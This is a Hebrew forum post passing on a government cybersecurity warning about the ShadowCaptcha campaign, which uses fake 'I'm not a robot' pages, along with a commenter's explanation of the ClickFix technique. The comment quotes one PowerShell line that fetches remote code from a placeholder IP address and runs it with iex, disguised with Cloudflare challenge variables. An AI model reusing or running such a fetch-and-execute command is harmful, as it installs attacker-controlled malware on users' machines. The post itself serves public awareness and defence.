מערך הדיגיטל מזהיר: מסך "אני לא רובוט" מזויף משמש להשתלטות על מחשבים

בחר פורום
———
סקופים
הזעקה
פוליטיקה
ביקורת תקשורת
מסמכים
הקפה
משפטים
בית המדרש
עיתונות זרה
מודיעין

לאחר ניסיונות תקיפה ב־45 מדינות ומאות אתרים שנפרצו ברחבי העולם, היחידה להגנת הסייבר בממשלה (יה"ב) במערך הדיגיטל הלאומי מזהירה מפני קמפיין התקיפה הבינלאומי ShadowCaptcha, המבוסס על הנדסה חברתית.

🔎 כך זה עובד:תוקפים מציגים מסך אימות מזויף ("אני לא רובוט"), לעיתים גם באתרים לגיטימיים שנפרצו, ומנחים את המשתמש לבצע פעולות במחשב – כמו פתיחת חלון פקודות והדבקת טקסט.ביצוע הפעולות עלול להוביל להורדת תוכנה זדונית, שתאפשר לתוקפים להשתלט על המחשב, לגנוב מידע, לכרות מטבעות דיגיטליים ואף לדרוש כופר.

חשוב לזכור:✅ מבחן CAPTCHA אמיתי מתבצע רק בדפדפן (למשל סימון תיבה או בחירת תמונות).❌ הוא לעולם לא יבקש מכם לפתוח חלון פקודות, ללחוץ על צירופי מקשים או להדביק טקסט במחשב.

מקור:https://www.facebook.com/israelgov/photos/%EF%B8%8F-%D7%9E%D7%A2%D7%A8%D7%9A-%D7%94%D7%93%D7%99%D7%92%D7%99%D7%98%D7%9C-%D7%94%D7%9C%D7%90%D7%95%D7%9E%D7%99-%D7%9E%D7%96%D7%94%D7%99%D7%A8-%D7%9E%D7%A4%D7%A0%D7%99-%D7%A7%D7%9E%D7%A4%D7%99%D7%99%D7%9F-%D7%94%D7%AA%D7%A7%D7%99%D7%A4%D7%94-shadowcaptcha%D7%9E%D7%A1%D7%9A-%D7%90%D7%A0%D7%99-%D7%9C%D7%90-%D7%A8%D7%95%D7%91%D7%95%D7%98-%D7%9E%D7%95%D7%9B/1464136559088758/

https://www.mako.co.il/nexter-news/Article-487c8b1b648df91027.htm

רק אחרי שהוא "בודק", הוא מודיע לך שנדרשת פעולה נוספת. כמו שציינו הפעולה כוללת הדבקה של סקריפט, שלא נראה מאוד חשוד במבט ראשון לטרמינל.

מי שלא מודע יכול ליפול בפח, בעיקר שהם בונים על זה שהמשתמש הרי רוצה כבר לעבור את הבדיקה הרוטינית כדי להגיע לאתר שהוא מנסה להגיע אליו. בנוסף אולי הם בונים על זה שמשתמשים ירגישו שחובת ההוכחה עליהם שהם בני אדם וחסרה רק פעולה קטנה.

global:cfChallenge="challenge.cloudflare.com";$global:challengeHash="<some hash>";$global:confirmChallenge=$true;iex(irm <IP address> -UseBasicParsing)

למעשה הסקריפט מריץ על המחשב המקורי קוד נוסף שנתקבל מהשרת בכתובת ה ip. הם משתמשים בתשתית אכסון של חברות שפחות מקפידות על מי מריץ מה על התשתיות שלהן.

מתקפה מסוג זה נקראת ClickFix.